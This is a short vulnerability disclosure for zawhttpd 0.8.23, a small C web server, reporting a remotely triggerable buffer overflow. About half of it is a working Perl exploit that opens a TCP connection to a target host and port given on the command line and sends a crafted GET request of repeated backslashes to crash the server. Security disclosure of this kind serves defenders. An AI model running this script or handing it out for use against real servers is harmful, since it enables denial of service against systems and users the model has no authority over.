zawhttpd0823.txt

`Name: zawhttpd   
Version: 0.8.23 previous version probably too.  
Language: C  
Problem: Buffer Overflow  
Vendor: http://www.norz.org/zawhttpd.html  
Discovered by: Kamil 'K3' Sienicki  
  
Description:  
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support,   
keep-alive persistent connections, IPv6 support, GET and HEAD requests,  
chunked encoding and content-range, directory listing, basic  
authentication,  
access logging, daemon mode, and more.  
  
Problem:  
A remote user can supply a specially crafted data which crash server.  
  
Exploit:  
#!/usr/bin/perl  
# zawhttpd Buffer Overflow Exploit   
# by Kamil 'K3' Sienicki  
  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if($socket = IO::Socket::INET->new(  
PeerAddr => $ARGV[0],  
PeerPort => $ARGV[1],  
Proto => "TCP"))  
{  
print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";  
close($socket);  
}  
else  
{  
print "perl zawhttpd.pl localhost 80 \n";  
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";  
}  
  
--  
Kamil 'K3' Sienicki  
`